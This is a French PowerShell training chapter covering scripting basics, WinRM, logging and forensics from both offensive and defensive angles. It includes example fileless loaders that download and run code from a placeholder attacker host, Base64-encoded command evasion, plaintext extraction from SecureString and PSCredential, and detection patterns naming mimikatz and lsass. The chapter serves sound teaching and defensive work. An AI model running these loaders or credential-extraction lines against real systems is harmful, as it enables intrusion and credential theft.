Copié !
Chapitre 02

PowerShell
Offensif & Défensif

PowerShell est l'outil d'administration n°1 de Windows ET le vecteur d'attaque le plus utilisé par les red teams modernes. Comprendre ses mécanismes en profondeur - objets .NET, pipeline, WinRM, logging - est indispensable des deux côtés de la barrière.

INTERMÉDIAIRE OFFENSIF + DÉFENSIF 4 – 5h
2.1

Introduction - Pourquoi PowerShell est au cœur de tout

PowerShell n'est pas un simple shell comme cmd.exe. C'est un environnement de scripting complet basé sur .NET, ce qui lui donne un accès direct à l'ensemble du framework .NET et de la Win32 API depuis la ligne de commande. Cette capacité unique le rend à la fois indispensable pour l'administration et redoutable entre les mains d'un attaquant.

Comparaison des shells
cmd.exe
Texte brut, commandes DOS héritées
Aucun accès natif aux APIs Windows
Pas de types - tout est chaîne
bash
Texte brut, flux de caractères Unix
Puissant pour les fichiers/processus
Limité sur Windows natif
PowerShell
Objets .NET typés dans le pipeline
Accès complet Win32 API + COM + WMI
Insensible à la casse - contourne les règles naïves
Trois caractéristiques fondamentales
Caractéristique 1
Orienté Objet

Chaque commande retourne des objets .NET, pas du texte. Get-Process retourne une collection d'objets System.Diagnostics.Process avec des propriétés accessibles, filtrables, transformables. C'est ce qui rend le pipeline si puissant.

Caractéristique 2
Basé sur .NET

Tout le framework .NET est accessible directement depuis le shell - [System.Net.Dns]::GetHostAddresses(), [System.IO.File]::ReadAllText(), accès à la cryptographie, aux sockets, aux assemblies. Sans compiler une seule ligne de C#.

Caractéristique 3
Insensible à la casse

get-process, GET-PROCESS et Get-Process sont strictement identiques. Les attaquants exploitent cela pour contourner des règles de détection qui recherchent des chaînes exactes - en mélangeant majuscules et minuscules de façon aléatoire (case randomization).

Offensif - Pourquoi les attaquants adorent PowerShell

PowerShell est présent sur tous les Windows modernes, signé Microsoft (donc de confiance pour les AV/EDR basiques), capable de tout faire - réseau, fichiers, registre, mémoire - sans déposer un seul exécutable sur le disque. C'est le paradis du Living off the Land (LotL) : utiliser les outils légitimes du système pour attaquer. Résultat : des attaques qui ressemblent à de l'administration normale.

Défensif - Pourquoi les défenseurs le craignent

Les logs natifs de PowerShell sont insuffisants par défaut. Sans Script Block Logging activé, une commande malveillante encodée en Base64 passe complètement inaperçue dans les Event Logs. Un attaquant peut exfiltrer des données, se déplacer latéralement et dumper des credentials - tout cela via des commandes PowerShell qui n'apparaissent nulle part sans configuration spécifique.

2.2

Variables, Types & Tableaux

PowerShell est un langage à typage dynamique - le type d'une variable est inféré automatiquement, mais peut aussi être déclaré explicitement. Comprendre les types est crucial en sécurité, notamment pour manipuler des buffers binaires, des pointeurs mémoire et des assemblies .NET.

Variables - syntaxe de base
Variables - déclaration et types POWERSHELL
# Déclaration - le $ préfixe est OBLIGATOIRE pour toute variable $nom = "Alice" $age = 42 $actif = $true # Typage explicite - force le type à la déclaration [string]$texte = "bonjour" [int]$nombre = 42 [bool]$flag = $false [datetime]$date = Get-Date # Variable nulle $vide = $null # Introspection - connaître le type d'une variable $nom.GetType().FullName # → System.String $age.GetType().FullName # → System.Int32
Types critiques pour la sécurité
TypeUsage en sécurité
[byte[]]Tableau de bytes - shellcode, payloads binaires, données en mémoire
[char[]]Tableau de chars - manipulation de strings encodées/décodées
[IntPtr]Pointeur mémoire - appels Win32 API (VirtualAlloc, OpenProcess…)
[System.Reflection.Assembly]Chargement de DLLs/EXEs directement en mémoire - technique fileless
[System.Security.SecureString]Stockage sécurisé de secrets en mémoire chiffrée
Tableaux et collections
Tableaux, Hashtables, ArrayLists POWERSHELL
# Tableau simple (Array) $fruits = @("pomme", "poire", "cerise") $fruits[0] # → pomme $fruits.Count # → 3 $fruits += "mangue" # Ajoute (crée un nouveau tableau en mémoire) # Hashtable (dictionnaire clé/valeur) - très utilisé pour les paramètres $config = @{ Hote = "192.168.56.10" Port = 445 Protocol = "SMB" } $config["Hote"] # → 192.168.56.10 $config.Port # → 445 (accès par propriété) # ArrayList (taille dynamique - plus performant que @() pour les ajouts) $liste = [System.Collections.ArrayList]::new() $liste.Add("elem1") | Out-Null # Out-Null supprime le retour (index ajouté) $liste.Add("elem2") | Out-Null
Offensif - [byte[]] et shellcode

[byte[]] est le type de base pour charger un shellcode en mémoire. Le flux typique d'un loader PowerShell : déclarer un tableau de bytes contenant le shellcode encodé → appeler VirtualAlloc via P/Invoke pour allouer de la mémoire exécutable → copier les bytes → appeler CreateThread pour exécuter. Tout cela sans toucher au disque. On revient dessus en section 2.8.

2.3

Cmdlets - Structure Verb-Noun

Toutes les commandes PowerShell suivent une convention stricte : Verbe-Nom. Cette cohérence permet de deviner des commandes inconnues et de les découvrir par recherche. C'est une philosophie de conception - tout est prévisible et discoverable.

Verbes standards
VerbeActionExemples courants
GetRécupérer / LireGet-Process, Get-Service, Get-Content, Get-LocalUser
SetModifier un existantSet-ExecutionPolicy, Set-ItemProperty, Set-MpPreference
NewCréerNew-Item, New-LocalUser, New-Object, New-PSSession
RemoveSupprimerRemove-Item, Remove-LocalUser, Remove-PSSession
InvokeExécuter (⚠ IoC)Invoke-Command, Invoke-Expression, Invoke-WebRequest
Enable/DisableActiver/DésactiverEnable-PSRemoting, Disable-LocalUser
Start/StopDémarrer/ArrêterStart-Process, Stop-Service, Start-Transcript
Add/RemoveAjouter/Retirer d'une collectionAdd-LocalGroupMember, Add-MpPreference
Découverte et aide sur les cmdlets POWERSHELL
# Lister tous les verbes approuvés Get-Verb | Sort-Object Verb # Chercher des cmdlets par verbe et nom - très utile pour la découverte Get-Command -Verb "Get" | Where-Object {$_.Name -like "*Local*"} Get-Command *credential* # Toutes les cmdlets touchant aux credentials Get-Command *acl* # Tout ce qui touche aux ACLs Get-Command *event* # Tout ce qui touche aux Event Logs # Système d'aide - toujours utile Get-Help Get-Process # Aide de base Get-Help Get-Process -Full # Aide détaillée Get-Help Get-Process -Examples # Exemples uniquement Get-Help Get-Process -Online # Ouvre la doc web Microsoft Update-Help -Force # Met à jour l'aide locale (nécessite internet)
2.4

Méthodes et Propriétés - Get-Member

Get-Member est probablement la cmdlet la plus importante pour explorer PowerShell. Elle révèle tout ce qu'un objet peut faire : ses propriétés (données) et ses méthodes (actions). Maîtriser cette cmdlet permet de comprendre n'importe quel objet PowerShell sans documentation externe.

Analogie : Imaginez que vous recevez un objet inconnu. Get-Member est comme un scanner qui vous dit "cet objet a une propriété couleur, une méthode ouvrir(), et une méthode fermer()". Vous pouvez alors l'utiliser sans lire de manuel.
Get-Member - explorer les objets POWERSHELL
# Voir toutes les propriétés et méthodes d'un objet Get-Process | Get-Member # OUTPUT (extrait) : # TypeName: System.Diagnostics.Process # # Name MemberType Definition # Kill Method void Kill() ← termine le processus # WaitForExit Method bool WaitForExit(int ms) # CPU Property double CPU {get;} ← temps CPU utilisé # Id Property int Id {get;} ← PID # Name Property string Name {get;} ← nom de l'exe # WorkingSet Property int WorkingSet {get;} ← mémoire en bytes # Filtrer par type de membre Get-Process | Get-Member -MemberType Property # Propriétés uniquement Get-Process | Get-Member -MemberType Method # Méthodes uniquement # Utiliser les propriétés et méthodes découvertes $proc = Get-Process -Name "lsass" $proc.Id # PID de lsass $proc.WorkingSet # Mémoire utilisée en bytes # Méthodes de manipulation de dates $date = Get-Date $date.AddDays(-7) # Il y a 7 jours $date.ToString("yyyy-MM-dd") # Formatage ISO # Méthodes statiques via :: [System.Math]::Sqrt(144) # → 12 [System.Math]::PI # → 3.14159...
Offensif - Méthodes cachées via WMI

Get-Member sur un objet WMI ou COM révèle des méthodes exploitables non documentées. Par exemple, Get-WmiObject Win32_Process | Get-Member expose la méthode .Create() qui permet de créer des processus silencieusement - sans appeler directement Start-Process qui est davantage audité. Autre exemple : Get-WmiObject Win32_Service | Get-Member expose .Change() pour modifier la configuration d'un service.

2.5

Pipeline & Select-Object

Le pipe | transmet des objets .NET complets d'une cmdlet à la suivante - pas du texte. C'est fondamentalement différent de bash où chaque programme reçoit des chaînes de caractères. Cette différence explique pourquoi le pipeline PowerShell est beaucoup plus puissant pour filtrer, trier et transformer des données complexes.

Pipeline - filtrage et transformation POWERSHELL
# Les 5 processus les plus gourmands en RAM Get-Process | Sort-Object WorkingSet -Descending | Select-Object -First 5 | Format-Table Name, Id, @{N="RAM(MB)";E={[math]::Round($_.WorkingSet/1MB,1)}} # Where-Object - filtrer des objets selon une condition Get-Process | Where-Object {$_.CPU -gt 10} # Processus > 10s CPU Get-LocalUser | Where-Object {$_.Enabled -eq $true} # Comptes actifs # Alias courants à reconnaître dans du code offensif # where = Where-Object ? = Where-Object # select = Select-Object % = ForEach-Object # sort = Sort-Object ft = Format-Table
Select-Object - sculpter et transformer les sorties
Select-Object - propriétés et colonnes calculées POWERSHELL
# Sélectionner des propriétés spécifiques Get-LocalUser | Select-Object Name, SID, Enabled, LastLogon # Colonnes calculées - renommer et transformer à la volée # Syntaxe : @{Name="NomColonne"; Expression={ calcul avec $_ }} Get-Process | Select-Object Name, Id, @{Name="RAM_MB"; Expression={[math]::Round($_.WorkingSet/1MB, 2)}}, @{Name="CPU_s"; Expression={[math]::Round($_.CPU, 2)}} # Prendre les N premiers/derniers/au milieu Get-Process | Select-Object -First 5 Get-Process | Select-Object -Last 5 Get-Process | Select-Object -Skip 10 -First 5 # ExpandProperty - extraire un tableau imbriqué Get-LocalGroup | Select-Object -ExpandProperty Name
ForEach-Object - boucle dans le pipeline
ForEach-Object - traitement par objet POWERSHELL
# Syntax longue - claire et lisible Get-LocalUser | ForEach-Object { Write-Host "Utilisateur : $($_.Name) - SID : $($_.SID)" } # Syntax courte avec alias % - souvent vu dans les one-liners offensifs Get-LocalUser | % { "$($_.Name) → $($_.SID)" } # Application sécurité : auditer chaque membre du groupe Administrators Get-LocalGroupMember -Group "Administrators" | ForEach-Object { $member = $_.Name.Split("\")[-1] $user = Get-LocalUser -Name $member -ErrorAction SilentlyContinue if ($user -and $user.PasswordNeverExpires) { Write-Warning "Admin avec MDP non expirant : $member" } }
2.6

Fonctions & Blocs de Script

Les fonctions PowerShell permettent de structurer du code réutilisable. Les ScriptBlocks vont plus loin : ce sont des objets de code encapsulé dans {} qui peuvent être stockés dans des variables, passés comme paramètres, et surtout exécutés à distance via Invoke-Command. C'est le mécanisme central de WinRM.

Fonctions avec paramètres typés POWERSHELL
function Get-UserInfo { param( [string]$Username, # Paramètre obligatoire [switch]$Verbose # Switch : présent ou absent (booléen) ) $user = Get-LocalUser -Name $Username -ErrorAction SilentlyContinue if (-not $user) { Write-Error "Utilisateur '$Username' introuvable." return } $groupes = Get-LocalGroup | Where-Object { (Get-LocalGroupMember -Group $_.Name -EA SilentlyContinue).Name ` -contains "$env:COMPUTERNAME\$Username" } # Retourne un objet structuré - pas une chaîne [PSCustomObject]@{ Nom = $user.Name SID = $user.SID.Value Actif = $user.Enabled DerniereConnexion = $user.LastLogon Groupes = ($groupes.Name -join ", ") } } # Appel de la fonction Get-UserInfo -Username "restricteduser"
ScriptBlocks - objets de code exécutables
ScriptBlocks - définition, invocation, usage offensif POWERSHELL
# Définir un ScriptBlock - comme une fonction anonyme $monBloc = { param($nom) "Bonjour $nom depuis un ScriptBlock !" } # Invoquer un ScriptBlock - deux syntaxes & $monBloc "Alice" # Opérateur & Invoke-Command -ScriptBlock $monBloc -ArgumentList "Bob" # Via Invoke-Command # ─── Invoke-Expression - dangereux, très audité ──────────────────── # IEX est l'alias court - souvent utilisé dans les one-liners offensifs $cmd = "Get-LocalUser | Select-Object Name, SID" Invoke-Expression $cmd # ou : iex $cmd # ─── Technique Base64 - ce que font les attaquants ──────────────── # Encodage (côté attaquant) $commande = "Get-LocalUser | Select-Object Name" $bytes = [System.Text.Encoding]::Unicode.GetBytes($commande) $encoded = [Convert]::ToBase64String($bytes) # Exécution "suspecte" (contourne certains filtres de surface) powershell.exe -EncodedCommand $encoded # ─── Décodage (côté défenseur / forensics) ──────────────────────── $code = [System.Convert]::FromBase64String("R2V0LVByb2Nlc3M=") $decoded = [System.Text.Encoding]::Unicode.GetString($code) Write-Host "Décodé : $decoded"
Défensif - IoC : Invoke-Expression & Base64

Invoke-Expression (alias iex) et les chaînes encodées en Base64 sont des marqueurs de détection prioritaires dans le Script Block Logging (Event ID 4104). Leur présence dans un log est quasi-systématiquement le signe d'une tentative de contournement de détection. Un SIEM doit alerter sur tout usage de iex, EncodedCommand, ou FromBase64String en contexte non administratif.

2.7

SecureString & PSCredential

La gestion des secrets en PowerShell repose sur deux mécanismes complémentaires. SecureString chiffre une chaîne en mémoire. PSCredential combine un nom d'utilisateur et un SecureString dans un format standard accepté par toutes les cmdlets d'authentification Windows.

SecureString - stockage sécurisé en mémoire
SecureString - création, sauvegarde, extraction POWERSHELL
# ✖ MAUVAIS - mot de passe en clair (visible historique, logs, mémoire) $password = "MonMotDePasse123" # ✅ BON - SecureString chiffré via DPAPI $securePass = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force # MEILLEUR - saisie interactive (jamais visible, jamais dans l'historique) $securePass = Read-Host "Mot de passe" -AsSecureString # Sauvegarder chiffré sur disque (lié à l'utilisateur ET la machine) $securePass | ConvertFrom-SecureString | Out-File "C:\cred.enc" # Recharger depuis le fichier (uniquement par le même utilisateur sur la même machine) $securePass = Get-Content "C:\cred.enc" | ConvertTo-SecureString # ─── OFFENSIF / FORENSICS - extraire la valeur en clair ────────── # Si un attaquant peut exécuter du code, voici comment lire un SecureString $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($securePass) $plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) [System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($BSTR) # Nettoyage mémoire Write-Host "Mot de passe : $plainText"
Comment fonctionne SecureString

SecureString utilise l'API System.Security.SecureString de .NET. Sur Windows, DPAPI (Data Protection API) assure le chiffrement en mémoire - la donnée est difficile à extraire directement depuis un dump mémoire brut. Cependant, ce n'est pas une protection absolue : un attaquant avec des droits SYSTEM peut utiliser les APIs Marshal pour la lire, exactement comme montré ci-dessus. SecureString protège contre les accidents (logs, historique) mais pas contre un adversaire déterminé avec des droits suffisants.

PSCredential - le conteneur standard d'authentification
PSCredential - création et utilisation POWERSHELL
# Créer un PSCredential manuellement $username = "DOMAINE\Alice" $password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) # Boîte de dialogue interactive (idéal en prod) $cred = Get-Credential # Utiliser le credential dans les cmdlets standard Enter-PSSession -ComputerName CIBLE -Credential $cred Invoke-Command -ComputerName CIBLE -Credential $cred -ScriptBlock { whoami } New-PSSession -ComputerName CIBLE -Credential $cred # Accéder aux composants du credential $cred.UserName # → DOMAINE\Alice $cred.Password # → System.Security.SecureString (opaque) $cred.GetNetworkCredential().Password # → Mot de passe en CLAIR ⚠
Offensif - Extraction depuis la mémoire

$cred.GetNetworkCredential().Password extrait le mot de passe en clair depuis un PSCredential en mémoire. Si un script d'administration stocke ses credentials dans une variable globale (mauvaise pratique courante), une seule ligne dans un Invoke-Command suffit à les récupérer. Chercher les scripts .ps1 dans C:\Scripts\, C:\Program Files\, et dans les tâches planifiées - ils contiennent souvent des credentials codés en dur.

2.8

Namespaces .NET & Win32 API via PowerShell

C'est l'une des capacités les plus puissantes (et redoutées) de PowerShell : appeler directement des fonctions Win32 sans compiler de code C# ou C++. Via le mécanisme P/Invoke et Add-Type, on peut déclarer une signature de fonction Win32 et l'appeler immédiatement depuis PowerShell - ce qui inclut VirtualAlloc, CreateThread, et toutes les fonctions utilisées par les malwares.

P/Invoke via Add-Type - appel de fonctions Win32
Add-Type - signature P/Invoke Win32 POWERSHELL
# Déclarer des signatures de fonctions Win32 via C# inline $apiCode = @" using System; using System.Runtime.InteropServices; public class Win32 { // MessageBox - démonstration simple [DllImport("user32.dll", SetLastError=true)] public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); // OpenProcess - ouvrir un handle vers un processus [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(uint access, bool inheritHandle, uint processId); // VirtualAllocEx - allouer de la mémoire dans un processus distant [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); // WriteProcessMemory - écrire dans la mémoire d'un processus [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, out int lpNumberOfBytesWritten); } "@ Add-Type -TypeDefinition $apiCode # Utilisation directe des fonctions Win32 depuis PowerShell [Win32]::MessageBox([IntPtr]::Zero, "Hello depuis PowerShell!", "Win32 API", 0)
Namespaces .NET critiques en sécurité
Réseau
System.Net.Sockets.TcpClient
Connexion TCP raw - reverse shells, port scanning
Réseau
System.Net.WebClient
HTTP(S) GET/POST - téléchargement de payloads IoC
Réseau
System.Net.Dns
Résolution DNS - C2 via DNS, exfiltration DNS
Fichiers
System.IO.File
Lecture/écriture de fichiers bas niveau
Fichiers
System.IO.FileStream
Flux fichier - lecture partielle, accès concurrent
Crypto
System.Security.Cryptography
AES, SHA256, MD5 - chiffrement de payloads, forensics
Reflection IoC majeur
System.Reflection.Assembly
Charger une DLL/EXE directement en mémoire - technique fileless
Mémoire IoC
System.Runtime.InteropServices.Marshal
Conversion mémoire, accès BSTR, extraction SecureString
Processus
System.Diagnostics.Process
Création/manipulation de processus - injection de commandes
Technique fileless - chargement d'assembly en mémoire
Exemple éducatif - loaders fileless (ce que font les malwares) POWERSHELL
# ─── Technique 1 : WebClient.DownloadString + IEX ───────────────── # La plus classique - détectée par presque tous les EDR modernes $wc = New-Object System.Net.WebClient $payload = $wc.DownloadString("http://attaquant/payload.ps1") Invoke-Expression $payload # ← Double IoC : DownloadString + IEX # ─── Technique 2 : DownloadData → Assembly en mémoire ───────────── # Télécharge des bytes bruts et les charge directement en mémoire # Aucun fichier n'est écrit sur le disque - invisble pour les AV basés fichier $bytes = $wc.DownloadData("http://attaquant/tool.exe") $assembly = [System.Reflection.Assembly]::Load($bytes) # → L'assembly vit uniquement en mémoire - jamais sur le disque # ─── Technique 3 : Exécuter l'assembly chargée ──────────────────── $entryPoint = $assembly.EntryPoint $entryPoint.Invoke($null, @(,[string[]]@())) # ─── IoCs générés par ces techniques ────────────────────────────── # Event ID 4104 : "DownloadString", "Assembly::Load", "Invoke-Expression" # AMSI (si activé) : intercepte la chaîne avant IEX # Sysmon EID 7 : chargement d'image/DLL depuis un chemin inhabituel
Défensif - Détection des techniques fileless

[System.Reflection.Assembly]::Load() depuis PowerShell est capturé par le Script Block Logging (Event ID 4104) et déclenche des alertes dans pratiquement tous les EDR modernes. Les patterns DownloadString + Invoke-Expression sont des IoC de premier ordre. AMSI (Antimalware Scan Interface) intercepte aussi les contenus PowerShell avant leur exécution - certains malwares tentent de le désactiver en patch mémoire, ce qui génère ses propres IoC.

2.9

WinRM / WSMan - Administration à Distance

WinRM (Windows Remote Management) est le service d'administration à distance de Windows, basé sur le protocole WSMan (Web Services for Management). Il permet d'exécuter des commandes PowerShell sur des machines distantes - ce qui en fait à la fois l'outil d'administration le plus utilisé en entreprise, et un vecteur de mouvement latéral privilégié.

Architecture WinRM
Flux d'une connexion WinRM
Client PowerShell
Machine attaquante
HTTP:5985 (non chiffré)
HTTPS:5986 (TLS)
Service WinRM
Machine cible - svchost.exe
Crée un processus isolé par session
wsmprovhost.exe
Host session distante - PPID = svchost
⚠ Un wsmprovhost.exe
avec un PPID inhabituel = alerte Sysmon
Runspace PowerShell
Contexte de l'utilisateur authentifié
Configuration de base
WinRM - activation et configuration (machine cible) POWERSHELL
# ── SUR LA MACHINE CIBLE ──────────────────────────────────────────── # Activer WinRM (configure le service + le pare-feu) Enable-PSRemoting -Force # Autoriser tous les hôtes clients (lab uniquement - jamais en prod) Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force # Vérifier la configuration complète Get-WSManInstance -ResourceURI winrm/config # Voir les endpoints disponibles (utile pour JEA - Chapitre 3) Get-PSSessionConfiguration | Select-Object Name, Enabled, Permission
WinRM - connexion et exécution distante (machine attaquante) POWERSHELL
# Tester la connectivité WinRM avant d'établir une session Test-WSMan -ComputerName 192.168.56.10 # Session interactive - comme SSH, mais dans PowerShell Enter-PSSession -ComputerName 192.168.56.10 -Credential (Get-Credential) # Exécution non interactive - meilleure pour les scripts et l'automatisation Invoke-Command -ComputerName 192.168.56.10 ` -Credential $cred ` -ScriptBlock { Get-LocalUser | Select-Object Name, SID, Enabled } # Exécution sur plusieurs machines EN PARALLÈLE (propagation rapide) Invoke-Command -ComputerName @("HOST1","HOST2","HOST3") ` -Credential $cred ` -ScriptBlock { whoami; hostname }
Sessions persistantes - éviter la ré-authentification
PSSession - sessions réutilisables et transfert de fichiers POWERSHELL
# Créer une session réutilisable - un seul handshake d'authentification $session = New-PSSession -ComputerName 192.168.56.10 -Credential $cred # Exécuter plusieurs commandes dans la MÊME session Invoke-Command -Session $session -ScriptBlock { $env:COMPUTERNAME } Invoke-Command -Session $session -ScriptBlock { Get-Process | Select-Object -First 5 } # Entrer interactivement dans la session existante Enter-PSSession -Session $session # Transférer des fichiers via la session (côté offensif : uploader des outils) Copy-Item -Path "C:\Tools\script.ps1" ` -Destination "C:\Users\Public\" ` -ToSession $session # Fermer proprement - toujours nettoyer les sessions après usage Remove-PSSession -Session $session Get-PSSession | Remove-PSSession # Fermer TOUTES les sessions ouvertes
Double-hop - Le problème d'authentification à distance

Le double-hop est l'une des limitations les plus importantes de WinRM à comprendre. Quand tu te connectes depuis la machine A vers B, tes credentials sont présentés à B. Mais quand B tente de se connecter à C, il n'a plus tes credentials originaux - il ne peut pas les retransmettre. C'est une protection de sécurité : Kerberos empêche la délégation implicite des credentials.

Machine A
(toi)
Machine B
WinRM OK
Machine C
ACCESS DENIED
Les credentials de A ne sont pas transmis à C - Kerberos bloque la délégation implicite.
Double-Hop - solutions CredSSP et Kerberos POWERSHELL
# ─── Solution 1 : CredSSP - délègue les credentials (risqué) ────── # CredSSP envoie les credentials en clair vers B, qui peut ensuite se connecter à C # Risque : si B est compromis, les credentials exposés # Sur B : activer la réception de délégation Enable-WSManCredSSP -Role Server -Force # Sur A : activer la délégation vers B Enable-WSManCredSSP -Role Client -DelegateComputer "B" -Force # Connexion avec délégation Enter-PSSession -ComputerName B -Credential $cred -Authentication CredSSP # ─── Solution 2 : Kerberos Constrained Delegation (recommandé) ──── # Plus sécurisée - ne délègue que vers des services spécifiques # Nécessite un environnement Active Directory - à voir en Chapitre 12
Offensif - Mouvement latéral via WinRM

Une session WinRM avec des credentials valides = mouvement latéral direct. Invoke-Command sur plusieurs machines en parallèle avec -ComputerName @("HOST1","HOST2","HOST3") permet de propager des actions sur tout un réseau en quelques secondes. Avec des credentials admin de domaine, c'est la technique la plus silencieuse pour se déplacer - pas de nouvel exécutable, tout via des connexions WinRM légitimes.

Défensif - Traces WinRM à surveiller

Chaque connexion WinRM génère un 4624 (Logon Type 3 - réseau) sur la machine cible. Coupler avec Sysmon Event ID 1 : la création de wsmprovhost.exe avec PPID svchost.exe est normale - un wsmprovhost.exe avec tout autre PPID est une anomalie à investiguer immédiatement. Les connexions WinRM légitimes depuis des postes non-admin sont rares et constituent un signal fort.

2.10

Logging PowerShell - Détection SOC

C'est le cœur de la détection défensive PowerShell. Trois mécanismes distincts et complémentaires couvrent différentes parties de l'activité. Ils doivent être activés ensemble pour une couverture maximale - chacun capte ce que les autres manquent.

Vue d'ensemble des trois couches
Mécanisme
Event ID
Ce qu'on voit
Limitation
Module Logging
4103
Quelles cmdlets ont été appelées + paramètres + résultats partiels. Utile pour tracer les commandes d'administration.
Résultats partiels - ne montre pas le code source
Script Block Logging
Gold standard
4104
Code source complet exécuté - déobfusqué automatiquement par PowerShell. Même les commandes encodées Base64 apparaissent décodées. C'est la source de détection la plus précieuse.
Volume élevé en production - indexation SIEM nécessaire
Transcription
Fichier .txt
Copie intégrale de la session : input ET output. Sauvegardée dans un dossier configurable. Idéale pour la forensics post-incident.
Pas dans l'Event Log - hors des SIEM centralisés par défaut
Module Logging - Event ID 4103
Activer le Module Logging via Registre POWERSHELL
# Chemin de la clé de politique PowerShell $path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" New-Item -Path $path -Force | Out-Null Set-ItemProperty -Path $path -Name "EnableModuleLogging" -Value 1 # Spécifier quels modules logger (* = tous les modules) $pathNames = "$path\ModuleNames" New-Item -Path $pathNames -Force | Out-Null Set-ItemProperty -Path $pathNames -Name "*" -Value "*" # Logger TOUS les modules # Alternative via GPO : # Computer Config → Admin Templates → Windows Components # → Windows PowerShell → "Turn on Module Logging" → Enabled → *
Script Block Logging - Event ID 4104 - Le plus précieux

Le Script Block Logging capture le code source complet de chaque ScriptBlock avant son exécution - y compris les commandes déobfusquées. C'est la propriété la plus importante : même une commande encodée en Base64 apparaît décodée dans l'Event 4104, car PowerShell doit la décoder pour l'exécuter, et c'est ce moment que Windows capture.

Activer le Script Block Logging + interroger les events 4104 POWERSHELL
# ── Activation ───────────────────────────────────────────────────── $path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" New-Item -Path $path -Force | Out-Null Set-ItemProperty -Path $path -Name "EnableScriptBlockLogging" -Value 1 # Events dans : Microsoft-Windows-PowerShell/Operational # ── Interroger les Script Block Logs suspects ────────────────────── Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Where-Object { $_.Message -match "IEX|Invoke-Expression|DownloadString|FromBase64|VirtualAlloc|CreateThread|mimikatz|sekurlsa" } | Select-Object TimeCreated, @{N='ScriptBlock';E={$_.Message}} | Format-List
Anatomie d'un Event 4104 - ce que voit le SOC
Structure XML d'un Event 4104 XML
<!-- Event ID 4104 dans Microsoft-Windows-PowerShell/Operational --> <Event> <System> <EventID>4104</EventID> <Level>Warning</Level> <!-- Warning = Windows a détecté du code suspect --> </System> <EventData> <Data Name="MessageNumber">1</Data> <!-- Numéro du fragment --> <Data Name="MessageTotal">1</Data> <!-- Total des fragments --> <Data Name="ScriptBlockText"> <!-- LE CODE SOURCE DÉOBFUSQUÉ EST ICI - même si encodé en Base64 à l'origine --> Invoke-Mimikatz -DumpCreds </Data> <Data Name="ScriptBlockId">abc123-def456-...</Data> <!-- ID unique --> <Data Name="Path">C:\Users\Alice\mal.ps1</Data> <!-- Chemin si fichier --> </EventData> </Event>
Fragments - scripts longs

Un script long est automatiquement divisé en plusieurs Event 4104 (chacun limité en taille). Pour reconstruire le script complet, regrouper par ScriptBlockId - tous les fragments du même script partagent le même identifiant. Le champ MessageNumber / MessageTotal indique la position dans la séquence.

Transcription - le journal complet de session
Transcription - activation et usage POWERSHELL
# Activation via Registre (persistant) $path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" New-Item -Path $path -Force | Out-Null Set-ItemProperty -Path $path -Name "EnableTranscripting" -Value 1 Set-ItemProperty -Path $path -Name "EnableInvocationHeader" -Value 1 # Horodatage Set-ItemProperty -Path $path -Name "OutputDirectory" -Value "C:\PSTranscripts" # Activation manuelle pour une session (temporaire) Start-Transcript -Path "C:\Logs\session.txt" -Append # ... toutes les commandes ET leurs outputs sont enregistrés ... Stop-Transcript # Les fichiers de transcription sont nommés : # PowerShell_transcript.HOSTNAME.xxxxxxxx.YYYYMMDDHHMMSS.txt
IoC PowerShell prioritaires à surveiller dans votre SIEM

Ces termes dans un Event 4104 doivent déclencher une alerte immédiate. Leur présence indique quasi-systématiquement une tentative offensive :

IEX Invoke-Expression EncodedCommand FromBase64String DownloadString VirtualAlloc CreateThread Assembly::Load WriteProcessMemory mimikatz sekurlsa lsass bypass AMSI
2.11

Historique PowerShell - Forensics

Il existe deux sources d'historique distinctes qu'il ne faut pas confondre. L'une est persistante sur disque, l'autre ne dure que le temps de la session. En forensics, la première est une mine d'or ; en offensif, la connaître permet de nettoyer ses traces.

Source 1 - Persistante
PSReadLine

Fichier texte sur disque, toutes sessions confondues. Chemin :
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Limite par défaut : 4096 commandes. Survit aux redémarrages.

Source 2 - Temporaire
Get-History

Historique de la session en cours uniquement. Disparaît à la fermeture du terminal. Utile pour les scripts longs mais sans valeur forensics post-session.

Historique PSReadLine - lecture et forensics POWERSHELL
# Lire l'historique de l'utilisateur courant Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" # Nombre de commandes stockées (par défaut : 4096) (Get-PSReadLineOption).MaximumHistoryCount # Augmenter pour la forensics Set-PSReadLineOption -MaximumHistoryCount 10000 # Historique session en cours Get-History Get-History | Select-Object -Last 20
Script de forensics - chasse dans l'historique de tous les utilisateurs
Analyse forensics - historiques tous utilisateurs + détection IoC POWERSHELL
